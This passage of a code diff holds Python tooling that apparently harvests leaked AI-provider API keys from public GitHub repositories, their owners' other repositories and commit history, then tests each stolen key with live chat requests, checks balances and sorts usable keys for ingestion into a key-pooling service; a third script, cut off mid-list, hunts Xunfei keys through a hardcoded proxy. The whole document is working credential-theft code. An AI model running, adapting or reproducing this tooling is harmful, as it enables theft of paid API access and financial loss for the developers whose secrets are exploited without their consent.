||||
return not any(b in low for b in BLACKLIST)
|
||||
|
||||
def extract_all(text):
|
||||
"""Return {provider: set(keys)} found in text, longest-prefix-wins.
|
||||
|
||||
For providers with a 'context' requirement (ambiguous shapes like bare
|
||||
UUIDs/hex), a match is only accepted if text within +/-80 chars around
|
||||
the match contains a provider assignment marker (api key / base url)."""
|
||||
low = (text or "").lower()
|
||||
spans = [] # (start, end, key, provider)
|
||||
for prov in PREF_ORDER:
|
||||
spec = PROVIDERS[prov]
|
||||
markers = spec.get("context")
|
||||
for m in spec["re"].finditer(text or ""):
|
||||
k = m.group(0)
|
||||
if not looks_real(k):
|
||||
continue
|
||||
if markers:
|
||||
lo = max(0, m.start() - 80)
|
||||
hi = min(len(low), m.end() + 80)
|
||||
window = low[lo:hi]
|
||||
if not any(c in window for c in markers):
|
||||
continue
|
||||
spans.append((m.start(), m.end(), k, prov))
|
||||
# sort by start then longer-first; greedy overlap removal
|
||||
spans.sort(key=lambda s: (s[0], -(s[1] - s[0])))
|
||||
out = {}
|
||||
occupied = []
|
||||
for st, en, k, prov in spans:
|
||||
if any(st < e and en > s for s, e in occupied):
|
||||
continue
|
||||
occupied.append((st, en))
|
||||
out.setdefault(prov, set()).add(k)
|
||||
return out
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Verification (direct, no proxy). Only 401 => DEAD.
|
||||
# ---------------------------------------------------------------------------
|
||||
def http_chat(provider, key, timeout=25):
|
||||
p = PROVIDERS[provider]
|
||||
if not p["base"]:
|
||||
return 0, "no-endpoint"
|
||||
url = p["base"].rstrip("/") + p["chat_path"]
|
||||
headers = {"User-Agent": UA, "Content-Type": "application/json"}
|
||||
if p["auth"] == "x-api-key":
|
||||
headers["x-api-key"] = key
|
||||
headers["anthropic-version"] = "2023-06-01"
|
||||
else:
|
||||
headers["Authorization"] = f"Bearer {key}"
|
||||
model = p["models"][0] if p["models"] else "gpt-4o-mini"
|
||||
if provider == "anthropic":
|
||||
body = {"model": model, "max_tokens": 4,
|
||||
"messages": [{"role": "user", "content": "hi"}]}
|
||||
else:
|
||||
body = {"model": model, "max_tokens": 1,
|
||||
"messages": [{"role": "user", "content": "hi"}]}
|
||||
data = json.dumps(body).encode()
|
||||
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
|
||||
try:
|
||||
with direct_opener().open(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", "replace")
|
||||
except Exception:
|
||||
return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
def verify(provider, key):
|
||||
code, body = http_chat(provider, key)
|
||||
bl = (body or "").lower()
|
||||
if code == 200:
|
||||
if '"choices"' in bl or '"content"' in bl or '"id"' in bl:
|
||||
return "USABLE", f"chat 200 OK ({body[:80]})"
|
||||
if any(x in bl for x in ("balance", "quota", "arrear", "insufficient")):
|
||||
return "NO_BALANCE", f"chat: {body[:100]}"
|
||||
return "USABLE", f"chat: {body[:100]}"
|
||||
if code == 401:
|
||||
return "DEAD", "401 unauthorized"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"chat HTTP {code}: {body[:100]}"
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:120]
|
||||
return "NO_ACCESS", f"chat HTTP {code}: {body[:100]}"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Seed collection from vault
|
||||
# ---------------------------------------------------------------------------
|
||||
HTML_RE = re.compile(r"https://github\.com/([^/]+/[^/]+)/blob/([^/]+)/(.*)")
|
||||
|
||||
def parse_source(url):
|
||||
if not url:
|
||||
return None, None, None, None
|
||||
m = HTML_RE.search(url)
|
||||
if not m:
|
||||
return None, None, None, None
|
||||
repo, sha, path = m.group(1), m.group(2), m.group(3)
|
||||
owner = repo.split("/", 1)[0]
|
||||
return owner, repo, sha, urllib.parse.unquote(path)
|
||||
|
||||
def collect_seeds():
|
||||
"""Return list of (owner, repo, sha, path, vault_provider) from vault."""
|
||||
seeds = []
|
||||
for kf in sorted(VAULT.glob("*/keys.json")):
|
||||
prov = kf.parent.name
|
||||
try:
|
||||
arr = json.loads(kf.read_text())
|
||||
except Exception:
|
||||
continue
|
||||
if isinstance(arr, dict):
|
||||
arr = [arr]
|
||||
for entry in arr:
|
||||
if not isinstance(entry, dict):
|
||||
continue
|
||||
o, r, s, p = parse_source(entry.get("source", ""))
|
||||
if r:
|
||||
seeds.append((o, r, s, p, prov))
|
||||
return seeds
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Stage 1: same-repo full tree walk -> high-value files
|
||||
# ---------------------------------------------------------------------------
|
||||
HOT_EXT = (".env", ".env.local", ".env.production", ".env.development",
|
||||
".yaml", ".yml", ".json", ".toml", ".ini", ".conf", ".config",
|
||||
".py", ".js", ".ts", ".jsx", ".tsx", ".go", ".java", ".rb",
|
||||
".php", ".sh", ".ps1", ".properties", ".txt", ".md", ".example",
|
||||
".local", ".secret", ".cfg")
|
||||
HOT_NAMES = (".env", "config", "secret", "credential", "apikey", "api_key",
|
||||
"key", "token", "auth", "setting", "constant", "default",
|
||||
"application", "app", "env", "private")
|
||||
SKIP_DIRS = ("node_modules", ".git", "vendor", "dist", "build", "__pycache__",
|
||||
".next", "target", "venv", ".venv", "site-packages", ".tox")
|
||||
MAX_FILES_PER_REPO = 120
|
||||
MAX_BYTES = 900_000
|
||||
|
||||
def is_hot(path):
|
||||
low = path.lower()
|
||||
base = low.rsplit("/", 1)[-1]
|
||||
if any(sd + "/" in low for sd in SKIP_DIRS):
|
||||
return False
|
||||
if base.startswith(".env") or base.endswith(".env"):
|
||||
return 3 # highest priority
|
||||
if any(h in base for h in ("secret", "credential", "apikey", "api_key",
|
||||
"token", "auth", "private")):
|
||||
return 3
|
||||
if any(h in base for h in ("config", "setting", "constant", "default",
|
||||
"application", "app", "env")):
|
||||
return 2
|
||||
if any(low.endswith(e) for e in (".secret", ".cfg", ".ini", ".conf",
|
||||
".properties", ".local", ".pem",
|
||||
".key")):
|
||||
return 2
|
||||
if low.endswith((".yaml", ".yml", ".toml", ".json")):
|
||||
return 1
|
||||
if low.endswith((".py", ".js", ".ts", ".jsx", ".tsx", ".go", ".java",
|
||||
".rb", ".php", ".sh", ".ps1")):
|
||||
return 1
|
||||
return 0
|
||||
|
||||
def repo_tree_paths(repo, token):
|
||||
"""Use git/trees?recursive=1 on default branch; yield (prio,path,sha,branch)."""
|
||||
data = gh_api(f"https://api.github.com/repos/{repo}", token)
|
||||
if not data:
|
||||
return
|
||||
branch = data.get("default_branch", "main")
|
||||
url = (f"https://api.github.com/repos/{repo}/git/trees/"
|
||||
f"{branch}?recursive=1")
|
||||
tree = gh_api(url, token)
|
||||
if not tree or "tree" not in tree:
|
||||
return
|
||||
for node in tree.get("tree", []):
|
||||
prio = is_hot(node.get("path", ""))
|
||||
if node.get("type") == "blob" and prio:
|
||||
yield prio, node["path"], node.get("sha", ""), branch
|
||||
if tree.get("truncated"):
|
||||
print(f" [warn] {repo} tree truncated, results partial",
|
||||
file=sys.stderr)
|
||||
|
||||
def stage_repo(repo, token, cc, candidates, seen_files, stats,
|
||||
fetch_workers=12):
|
||||
scored = sorted(repo_tree_paths(repo, token),
|
||||
key=lambda t: -t[0])[:MAX_FILES_PER_REPO]
|
||||
jobs = []
|
||||
for _prio, path, bsha, branch in scored:
|
||||
key = (repo.lower(), path.lower(), str(bsha).lower())
|
||||
if key in seen_files:
|
||||
continue
|
||||
seen_files.add(key)
|
||||
jobs.append((path, bsha, branch))
|
||||
|
||||
def _fetch(job):
|
||||
path, bsha, branch = job
|
||||
return path, fetch_blob(repo, path, bsha, branch, cc)
|
||||
|
||||
with ThreadPoolExecutor(max_workers=fetch_workers) as ex:
|
||||
for path, txt in ex.map(_fetch, jobs):
|
||||
if not txt or len(txt) > MAX_BYTES:
|
||||
continue
|
||||
for prov, keys in extract_all(txt).items():
|
||||
for k in keys:
|
||||
if k not in candidates:
|
||||
candidates[k] = (prov, f"{repo}/{path}")
|
||||
stats["files_with_keys"] += 1
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Stage 2: same-owner other repos
|
||||
# ---------------------------------------------------------------------------
|
||||
def owner_repos(owner, token, max_repos=30):
|
||||
for page in range(1, 3):
|
||||
url = ("https://api.github.com/users/"
|
||||
f"{urllib.parse.quote(owner)}/repos?per_page=100&page={page}"
|
||||
"&sort=updated&type=owner")
|
||||
data = gh_api(url, token)
|
||||
if not data:
|
||||
return
|
||||
for r in data:
|
||||
if r.get("fork"):
|
||||
continue
|
||||
name = r.get("full_name", "")
|
||||
if name and name.lower().split("/", 1)[0] == owner.lower():
|
||||
yield name
|
||||
if len(data) < 100:
|
||||
return
|
||||
|
||||
ROOT_HOT = (".env", ".env.local", ".env.production", "config.json",
|
||||
"config.yaml", "config.yml", "config.toml", "settings.json",
|
||||
"appsettings.json", "application.yml", "application.yaml",
|
||||
"secrets.json", ".env.example", "README.md", ".env.sample")
|
||||
|
||||
def stage_owner(owner, exclude_repo, token, cc, candidates,
|
||||
seen_files, stats):
|
||||
nrepos = 0
|
||||
for repo in owner_repos(owner, token):
|
||||
if repo.lower() == exclude_repo.lower():
|
||||
continue
|
||||
nrepos += 1
|
||||
if nrepos > 30:
|
||||
break
|
||||
meta = gh_api(f"https://api.github.com/repos/{repo}", token)
|
||||
branch = (meta or {}).get("default_branch", "main")
|
||||
url = f"https://api.github.com/repos/{repo}/contents/"
|
||||
items = gh_api(url, token)
|
||||
if not items:
|
||||
continue
|
||||
for it in items:
|
||||
if not isinstance(it, dict):
|
||||
continue
|
||||
p = it.get("path", "")
|
||||
if it.get("type") == "file" and (p.lower() in ROOT_HOT or
|
||||
is_hot(p)):
|
||||
bsha = it.get("sha", "")
|
||||
key = (repo.lower(), p.lower(), str(bsha).lower())
|
||||
if key in seen_files:
|
||||
continue
|
||||
seen_files.add(key)
|
||||
txt = fetch_blob(repo, p, bsha, branch, cc)
|
||||
if not txt or len(txt) > MAX_BYTES:
|
||||
continue
|
||||
for prov, keys in extract_all(txt).items():
|
||||
for k in keys:
|
||||
if k not in candidates:
|
||||
candidates[k] = (prov, f"{repo}/HEAD/{p}")
|
||||
stats["files_with_keys"] += 1
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Stage 3: per-seed-file commit history
|
||||
# ---------------------------------------------------------------------------
|
||||
def list_file_commits(repo, path, token, max_commits=6):
|
||||
url = ("https://api.github.com/repos/" + repo + "/commits"
|
||||
f"?path={urllib.parse.quote(path)}&per_page={max_commits}")
|
||||
data = gh_api(url, token)
|
||||
if not data:
|
||||
return []
|
||||
out = []
|
||||
for c in data:
|
||||
try:
|
||||
out.append(c["sha"])
|
||||
except Exception:
|
||||
pass
|
||||
return out
|
||||
|
||||
def stage_history(owner, repo, sha, path, token, cached_fetch,
|
||||
candidates, seen_files, stats):
|
||||
for csha in list_file_commits(repo, path, token):
|
||||
url = f"https://raw.githubusercontent.com/{repo}/{csha}/{path}"
|
||||
key = (repo.lower(), path.lower(), csha.lower())
|
||||
if key in seen_files:
|
||||
continue
|
||||
seen_files.add(key)
|
||||
txt = cached_fetch(url)
|
||||
if not txt or len(txt) > MAX_BYTES:
|
||||
continue
|
||||
for prov, keys in extract_all(txt).items():
|
||||
for k in keys:
|
||||
if k not in candidates:
|
||||
candidates[k] = (prov, f"{repo}@{csha[:8]}/{path}")
|
||||
stats["files_with_keys"] += 1
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Driver
|
||||
# ---------------------------------------------------------------------------
|
||||
def load_existing():
|
||||
"""Keys already known in vault -> set, to skip re-verifying."""
|
||||
known = set()
|
||||
for kf in VAULT.glob("*/keys.json"):
|
||||
try:
|
||||
arr = json.loads(kf.read_text())
|
||||
except Exception:
|
||||
continue
|
||||
if isinstance(arr, dict):
|
||||
arr = [arr]
|
||||
for e in arr:
|
||||
if isinstance(e, dict) and e.get("key"):
|
||||
known.add(e["key"])
|
||||
return known
|
||||
|
||||
def verify_candidates(candidates, workers, use_cache=True):
|
||||
from verify_cache import CachedVerifier
|
||||
# group by provider
|
||||
by_prov = {}
|
||||
for k, (prov, src) in candidates.items():
|
||||
if not PROVIDERS[prov]["base"]:
|
||||
continue # no endpoint (github_pat etc) - skip chat verify
|
||||
by_prov.setdefault(prov, []).append((k, src))
|
||||
|
||||
verdicts = {v: [] for v in ("USABLE", "NO_BALANCE", "NO_ACCESS",
|
||||
"DEAD", "UNKNOWN")}
|
||||
for prov, items in sorted(by_prov.items()):
|
||||
print(f" [verify] {prov}: {len(items)} candidates")
|
||||
def vfn(k, _prov=prov):
|
||||
return verify(_prov, k)
|
||||
if use_cache:
|
||||
ver = CachedVerifier(f"pivot_{prov}", vfn)
|
||||
ver.__enter__()
|
||||
else:
|
||||
ver = None
|
||||
try:
|
||||
with ThreadPoolExecutor(max_workers=workers) as ex:
|
||||
futs = {ex.submit(ver if ver else vfn, k): (k, src)
|
||||
for k, src in items}
|
||||
for fut in as_completed(futs):
|
||||
k, src = futs[fut]
|
||||
try:
|
||||
v, d = fut.result()
|
||||
except Exception as e:
|
||||
v, d = "UNKNOWN", str(e)
|
||||
verdicts.setdefault(v, []).append((k, src, d))
|
||||
if v == "USABLE":
|
||||
print(f" [+] USABLE {prov} {k[:18]}... {src}")
|
||||
finally:
|
||||
if ver:
|
||||
ver.__exit__(None, None, None)
|
||||
return verdicts
|
||||
|
||||
def write_candidates(candidates):
|
||||
with open(CAND_FILE, "w") as f:
|
||||
for k, (prov, src) in sorted(candidates.items(),
|
||||
key=lambda x: (x[1][0], x[0])):
|
||||
f.write(f"{prov}\t{k}\t{src}\n")
|
||||
|
||||
def write_verdicts(verdicts):
|
||||
summary = {}
|
||||
for v, rows in verdicts.items():
|
||||
with open(RESULTS / f"{v.lower()}.txt", "w") as f:
|
||||
for k, src, d in rows:
|
||||
f.write(f"{k}\t{src}\t{d}\n")
|
||||
summary[v] = len(rows)
|
||||
with open(RESULTS / "summary.json", "w") as f:
|
||||
json.dump(summary, f, indent=2)
|
||||
print("=== verdicts:", summary)
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--workers", type=int, default=16)
|
||||
ap.add_argument("--fetch-workers", type=int, default=12)
|
||||
ap.add_argument("--no-owner", action="store_true",
|
||||
help="skip stage 2 (owner repo pivot)")
|
||||
ap.add_argument("--no-history", action="store_true",
|
||||
help="skip stage 3 (commit history)")
|
||||
ap.add_argument("--no-tree", action="store_true",
|
||||
help="skip stage 1 (same-repo tree)")
|
||||
ap.add_argument("--no-content-cache", action="store_true")
|
||||
ap.add_argument("--no-cache", action="store_true",
|
||||
help="skip verdict cache")
|
||||
ap.add_argument("--verify-only", action="store_true")
|
||||
ap.add_argument("--reextract", action="store_true",
|
||||
help="re-extract from cached blobs with tightened "
|
||||
"patterns (no network), then verify")
|
||||
ap.add_argument("--max-repos", type=int, default=0,
|
||||
help="limit seed repos (0=all)")
|
||||
args = ap.parse_args()
|
||||
|
||||
token = github_token()
|
||||
if not token:
|
||||
print("WARNING: no GitHub token; rate limits will be tight",
|
||||
file=sys.stderr)
|
||||
|
||||
seeds = collect_seeds()
|
||||
print(f"seeds: {len(seeds)} leaked-key sources")
|
||||
if args.max_repos:
|
||||
seeds = seeds[:args.max_repos]
|
||||
|
||||
# dedup seed repos / owners
|
||||
seed_repos = sorted({s[1] for s in seeds})
|
||||
seed_owners = sorted({s[0] for s in seeds})
|
||||
print(f" {len(seed_repos)} distinct repos, {len(seed_owners)} owners")
|
||||
|
||||
if args.verify_only:
|
||||
cand = {}
|
||||
for line in CAND_FILE.read_text().splitlines():
|
||||
parts = line.split("\t")
|
||||
if len(parts) == 3:
|
||||
cand[parts[1]] = (parts[0], parts[2])
|
||||
print(f"loaded {len(cand)} candidates from {CAND_FILE}")
|
||||
verdicts = verify_candidates(cand, args.workers,
|
||||
use_cache=not args.no_cache)
|
||||
write_verdicts(verdicts)
|
||||
return
|
||||
|
||||
if args.reextract:
|
||||
print("[reextract] scanning cached blobs with tightened patterns")
|
||||
known = load_existing()
|
||||
cc = ContentCache(force=args.no_content_cache)
|
||||
cc.__enter__()
|
||||
candidates = {}
|
||||
nfiles = 0
|
||||
for repo, files in cc._data.items():
|
||||
for path, versions in files.items():
|
||||
for sha, ent in versions.items():
|
||||
txt = ent.get("c", "") if isinstance(ent, dict) else ""
|
||||
if not txt:
|
||||
continue
|
||||
nfiles += 1
|
||||
src = f"{repo}/{path}"
|
||||
for prov, keys in extract_all(txt).items():
|
||||
for k in keys:
|
||||
if k not in known and k not in candidates:
|
||||
candidates[k] = (prov, src)
|
||||
cc.__exit__(None, None, None)
|
||||
print(f"[reextract] scanned {nfiles} blobs, "
|
||||
f"{len(candidates)} new candidates")
|
||||
write_candidates(candidates)
|
||||
if candidates:
|
||||
verdicts = verify_candidates(candidates, args.workers,
|
||||
use_cache=not args.no_cache)
|
||||
write_verdicts(verdicts)
|
||||
return
|
||||
|
||||
known = load_existing()
|
||||
print(f"already in vault: {len(known)} keys")
|
||||
|
||||
def save_checkpoint():
|
||||
try:
|
||||
tmp = str(CHECKPOINT) + ".tmp"
|
||||
with open(tmp, "w") as f:
|
||||
json.dump({"candidates": {k: list(v) for k, v in
|
||||
candidates.items()}}, f)
|
||||
os.replace(tmp, CHECKPOINT)
|
||||
except Exception as e:
|
||||
print(f" [warn] checkpoint failed: {e}", file=sys.stderr)
|
||||
|
||||
candidates = {}
|
||||
if CHECKPOINT.exists() and not args.no_cache:
|
||||
try:
|
||||
ch = json.loads(CHECKPOINT.read_text())
|
||||
for k, v in ch.get("candidates", {}).items():
|
||||
candidates[k] = tuple(v)
|
||||
print(f"resumed {len(candidates)} candidates from checkpoint")
|
||||
except Exception:
|
||||
pass
|
||||
stats = {"files_with_keys": 0}
|
||||
cc = ContentCache(force=args.no_content_cache)
|
||||
with cc:
|
||||
cf = make_cached_fetch(cc)
|
||||
seen_files = set()
|
||||
|
||||
# Stage 1: same repo tree
|
||||
if not args.no_tree:
|
||||
print(f"[stage 1] same-repo tree walk ({len(seed_repos)} repos)")
|
||||
for i, repo in enumerate(seed_repos, 1):
|
||||
stage_repo(repo, token, cc, candidates, seen_files, stats,
|
||||
fetch_workers=args.fetch_workers)
|
||||
if i % 5 == 0:
|
||||
save_checkpoint()
|
||||
if i % 10 == 0:
|
||||
print(f" {i}/{len(seed_repos)} repos, "
|
||||
f"{len(candidates)} candidates", flush=True)
|
||||
|
||||
# Stage 2: owner other repos
|
||||
if not args.no_owner:
|
||||
print(f"[stage 2] owner pivot ({len(seed_owners)} owners)")
|
||||
repo_owner = {s[1]: s[0] for s in seeds}
|
||||
for i, repo in enumerate(seed_repos, 1):
|
||||
owner = repo_owner.get(repo, repo.split("/", 1)[0])
|
||||
stage_owner(owner, repo, token, cc, candidates,
|
||||
seen_files, stats)
|
||||
time.sleep(1.0) # smooth request burst vs secondary rate limit
|
||||
if i % 5 == 0:
|
||||
save_checkpoint()
|
||||
if i % 10 == 0:
|
||||
print(f" {i}/{len(seed_repos)} owners, "
|
||||
f"{len(candidates)} candidates", flush=True)
|
||||
|
||||
# Stage 3: commit history per seed file
|
||||
if not args.no_history:
|
||||
print(f"[stage 3] commit history ({len(seeds)} seed files)")
|
||||
for i, (owner, repo, sha, path, prov) in enumerate(seeds, 1):
|
||||
stage_history(owner, repo, sha, path, token, cf,
|
||||
candidates, seen_files, stats)
|
||||
if i % 25 == 0:
|
||||
save_checkpoint()
|
||||
print(f" {i}/{len(seeds)} files, "
|
||||
f"{len(candidates)} candidates", flush=True)
|
||||
save_checkpoint()
|
||||
|
||||
# strip keys already known
|
||||
new_cand = {k: v for k, v in candidates.items() if k not in known}
|
||||
print(f"[done] {len(candidates)} total extracted, "
|
||||
f"{len(new_cand)} new (not in vault); "
|
||||
f"{stats['files_with_keys']} files yielded keys")
|
||||
write_candidates(new_cand)
|
||||
|
||||
if new_cand:
|
||||
verdicts = verify_candidates(new_cand, args.workers,
|
||||
use_cache=not args.no_cache)
|
||||
write_verdicts(verdicts)
|
||||
else:
|
||||
print("no new candidates to verify")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,172 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Deep-verify SiliconFlow keys that passed /v1/models.
|
||||
For each key:
|
||||
1. GET /v1/user/info -> retrieve balance/charge
|
||||
2. POST /v1/chat/completions with Qwen/Qwen2.5-7B-Instruct (max_tokens=1)
|
||||
Classification:
|
||||
USABLE chat returns 200 with choices
|
||||
NO_BALANCE balance=0 / 402 / charge balance exhausted
|
||||
NO_ACCESS 403 (realname), 400 (model not granted), 404, 5xx
|
||||
UNKNOWN network/timeout
|
||||
DEAD 401 only
|
||||
"""
|
||||
import argparse
|
||||
import json
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
import re
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
from verify_cache import CachedVerifier
|
||||
|
||||
BASE = "https://api.siliconflow.cn"
|
||||
UA = "curl/8.5.0"
|
||||
OUT = Path("results/medium/SiliconFlow")
|
||||
OUT.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Free models — these should work on any identity-verified account with
|
||||
# even zero balance (SiliconFlow grants free quota to a rotating list).
|
||||
CHAT_MODEL = "Qwen/Qwen2.5-7B-Instruct"
|
||||
PINCH_MODEL = "deepseek-ai/DeepSeek-V3" # paid model, useful balance probe
|
||||
|
||||
|
||||
def http(method, path, key, body=None, timeout=20):
|
||||
url = BASE + path
|
||||
headers = {
|
||||
"Authorization": f"Bearer {key}",
|
||||
"User-Agent": UA,
|
||||
"Accept": "*/*",
|
||||
}
|
||||
data = None
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode()
|
||||
headers["Content-Type"] = "application/json"
|
||||
req = urllib.request.Request(url, data=data, headers=headers, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", "replace")
|
||||
except Exception:
|
||||
return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
|
||||
def verify(key):
|
||||
# Layer 1: user info (balance)
|
||||
info_code, info_body = http("GET", "/v1/user/info", key)
|
||||
balance = None
|
||||
status = None
|
||||
if info_code == 200:
|
||||
try:
|
||||
j = json.loads(info_body)
|
||||
data = j.get("data") or {}
|
||||
balance = data.get("balance")
|
||||
status = data.get("status")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Layer 2: free model chat
|
||||
chat_code, chat_body = http("POST", "/v1/chat/completions", key, {
|
||||
"model": CHAT_MODEL,
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 1,
|
||||
"temperature": 0,
|
||||
})
|
||||
|
||||
# Layer 3: paid model (only if free worked, to detect real balance)
|
||||
paid_code, paid_body = 0, ""
|
||||
if chat_code == 200:
|
||||
paid_code, paid_body = http("POST", "/v1/chat/completions", key, {
|
||||
"model": PINCH_MODEL,
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 1,
|
||||
"temperature": 0,
|
||||
})
|
||||
|
||||
# Classify
|
||||
if chat_code == 401:
|
||||
return "DEAD", f"401 on chat; info={info_code}"
|
||||
if chat_code == 200 and '"choices"' in chat_body:
|
||||
if paid_code == 200:
|
||||
return "USABLE", f"balance={balance} status={status} free+paid OK"
|
||||
return "USABLE_FREE_ONLY", f"balance={balance} status={status} free OK paid={paid_code}"
|
||||
if chat_code in (402,):
|
||||
return "NO_BALANCE", f"balance={balance}; chat={chat_code} {chat_body[:120]}"
|
||||
if chat_code == 403:
|
||||
return "NO_ACCESS", f"403: {chat_body[:160]}"
|
||||
if chat_code == 400:
|
||||
# could be model not allowed, or content filter
|
||||
if "balance" in chat_body.lower() or "insufficient" in chat_body.lower():
|
||||
return "NO_BALANCE", f"balance={balance}; 400 {chat_body[:160]}"
|
||||
return "NO_ACCESS", f"400: {chat_body[:160]}"
|
||||
if chat_code == 0:
|
||||
return "UNKNOWN", f"network chat: {chat_body[:160]}"
|
||||
if 500 <= chat_code < 600:
|
||||
return "NO_ACCESS", f"5xx {chat_code}: {chat_body[:120]}"
|
||||
return "NO_ACCESS", f"HTTP {chat_code}: {chat_body[:160]}"
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--workers", type=int, default=20)
|
||||
ap.add_argument("--no-cache", action="store_true")
|
||||
args = ap.parse_args()
|
||||
|
||||
src = OUT / "usable.txt"
|
||||
rows = []
|
||||
for line in src.read_text().splitlines():
|
||||
if not line.strip() or "|" not in line:
|
||||
continue
|
||||
parts = line.split("|", 2)
|
||||
key = parts[0]
|
||||
src_url = parts[1] if len(parts) > 1 else ""
|
||||
prev_detail = parts[2] if len(parts) > 2 else ""
|
||||
rows.append((key, src_url, prev_detail))
|
||||
print(f"loaded {len(rows)} candidate keys", flush=True)
|
||||
|
||||
buckets = {"USABLE": [], "USABLE_FREE_ONLY": [], "NO_BALANCE": [],
|
||||
"NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
|
||||
|
||||
done = 0
|
||||
with CachedVerifier("siliconflow", verify, force=args.no_cache,
|
||||
ttl={"USABLE_FREE_ONLY": 30 * 60}) as ver:
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs = {pool.submit(ver, k): (k, u, d) for k, u, d in rows}
|
||||
for fut in as_completed(futs):
|
||||
k, u, d = futs[fut]
|
||||
try:
|
||||
v, detail = fut.result()
|
||||
except Exception as e:
|
||||
v, detail = "UNKNOWN", f"exc: {e}"
|
||||
buckets[v].append((k, u, detail))
|
||||
done += 1
|
||||
if done % 20 == 0:
|
||||
print(f" {done}/{len(rows)} cache: {ver.hits} hits/{ver.live} live", flush=True)
|
||||
print(f"cache: {ver.hits} hits, {ver.live} live queries, {len(ver._cache)} cached", flush=True)
|
||||
|
||||
for label, items in buckets.items():
|
||||
path = OUT / f"deep_{label.lower()}.txt"
|
||||
with path.open("w") as f:
|
||||
for k, u, det in items:
|
||||
f.write(f"{k}|{u}|{det}\n")
|
||||
print(f"{label:18s} {len(items):4d} -> {path.name}")
|
||||
|
||||
# also emit combined all_non_401 for easy newapi ingestion
|
||||
keep = []
|
||||
for label in ("USABLE", "USABLE_FREE_ONLY", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
|
||||
for k, u, det in buckets[label]:
|
||||
keep.append(f"{k}|{u}|[{label}] {det}")
|
||||
with (OUT / "deep_all_non_401.txt").open("w") as f:
|
||||
f.write("\n".join(keep) + "\n")
|
||||
print(f"kept (non-401): {len(keep)}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,274 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Xunfei Spark MaaS coding API hunter.
|
||||
|
||||
Endpoint: https://maas-coding-api.cn-huabei-1.xf-yun.com
|
||||
Key format: <32hex>:<secret> (Bearer auth)
|
||||
Ports: /v2 (OpenAI compat), /anthropic (Anthropic compat), /v1/responses.
|
||||
|
||||
Classification: only HTTP 401/invalid => DEAD. Model-exists but unauthorized
|
||||
(11200 AppIdNoAuthError) and 10404 are NOT dead - the key authenticates.
|
||||
Outputs results/xunfei/.
|
||||
"""
|
||||
import argparse, json, os, re, subprocess, sys, time
|
||||
import urllib.request, urllib.error, urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
from verify_cache import CachedVerifier
|
||||
from content_cache import ContentCache, parse_raw_url
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
RESULTS = HERE/"results"/"xunfei"; RESULTS.mkdir(parents=True, exist_ok=True)
|
||||
EXTRACTED = RESULTS/"extracted_keys.txt"
|
||||
CANDIDATES = RESULTS/"candidates.txt"
|
||||
|
||||
BASE = "https://maas-coding-api.cn-huabei-1.xf-yun.com"
|
||||
GH_PROXY = os.environ.get("GH_PROXY","http://114.111.19.228:3389")
|
||||
UA = "curl/8.5.0"
|
||||
|
||||
_gh=None
|
||||
def gh_opener():
|
||||
global _gh
|
||||
if _gh is None:
|
||||
_gh = urllib.request.build_opener(urllib.request.ProxyHandler({"http":GH_PROXY,"https":GH_PROXY})) if GH_PROXY else urllib.request.build_opener()
|
||||
return _gh
|
||||
_di=None
|
||||
def direct():
|
||||
global _di
|
||||
if _di is None: _di=urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||
return _di
|
||||
|
||||
# key: 32 hex colon then 16+ alnum secret (base64-ish). Secret seen: 24 chars hex-lower.
|
||||
KEY_RE = re.compile(r"\b([0-9a-f]{32}:[A-Za-z0-9]{16,80})\b")
|
||||
DOMAIN = "maas-coding-api.cn-huabei-1.xf-yun.com"
|
||||
|
||||
SEARCH_QUERIES = [
|
||||
f'"{DOMAIN}"',
|
||||
f'"{DOMAIN}/v2"',
|
||||
f'"{DOMAIN}/anthropic"',
|
||||
'"xf-yun.com" "api_key"',
|
||||
'"xf-yun.com" "Bearer"',
|
||||
'"maas-coding-api" sk-',
|
||||
'"maas-coding-api" "api_key"',
|
||||
'"maas-coding-api" extension:py',
|
||||
'"maas-coding-api" extension:js',
|
||||
'"maas-coding-api" extension:ts',
|
||||
'"maas-coding-api" extension:json',
|
||||
